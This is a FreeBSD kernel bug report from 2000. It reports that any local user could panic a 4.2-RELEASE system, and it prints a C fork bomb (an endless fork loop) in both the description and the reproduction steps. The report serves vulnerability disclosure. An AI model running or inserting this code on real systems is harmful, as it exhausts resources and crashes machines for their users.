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Subject: kern/23740: kernel DoS tha could be executed by any user
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>Number:         23740
>Category:       kern
>Synopsis:       kernel DoS tha could be executed by any user
>Confidential:   no
>Severity:       critical
>Priority:       high
>Responsible:    freebsd-bugs
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          change-request
>Submitter-Id:   current-users
>Arrival-Date:   Thu Dec 21 17:20:01 PST 2000
>Closed-Date:
>Last-Modified:
>Originator:     Iasen Kostoff
>Release:        4.2
>Organization:
>Environment:
FreeBSD HellRaZoR.tbyte.org 4.2-RELEASE FreeBSD 4.2-RELEASE #2: Wed Dec 20 02:13:45 EET 20
00     root@HellRaZoR.tbyte.org:/usr/src/sys/compile/TQONIX4  i386
>Description:
int main()
{
     while(1) fork();
     return(1);
}
it produces kernel panic (kernel resources exhausted)
>How-To-Repeat:
int main()
{
     while(1) fork();
     return(1);
}
compile and run
>Fix:
just report for now

>Release-Note:
>Audit-Trail:
>Unformatted:


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